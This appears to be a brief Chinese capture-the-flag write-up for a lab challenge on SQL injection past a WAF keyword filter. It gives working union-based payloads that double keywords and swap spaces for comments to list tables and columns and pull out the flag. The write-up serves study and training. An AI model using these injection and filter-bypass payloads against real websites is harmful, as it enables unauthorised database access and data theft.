>lhzctf

S17 WAF 关键字过滤绕过

1.打开靶机

数字型注入 已经告知有三列 并且告诉我们

union / select / from / or / and 和空格被过滤 大小写不敏感

2.双写绕过+换空格

查表

1/**/uunionnion/**/seselectlect/**/1,2,group_concat(table_name)/**/ffromrom/**/infoorrmation_schema.tables/**/where/**/table_schema=database()#

得到

comments,flags,logs,news,products,subs,users,vip

查列

1/**/uunionnion/**/seselectlect/**/1,2,group_concat(column_name)/**/ffromrom/**/infoorrmation_schema.columns/**/where/**/table_name='flags'#

得到

flag,level,note

查元素

1/**/uunionnion/**/seselectlect/**/1,2,group_concat(flag)/**/ffromrom/**/flags#

得到flag

flag{sqli_17_waf_bypass}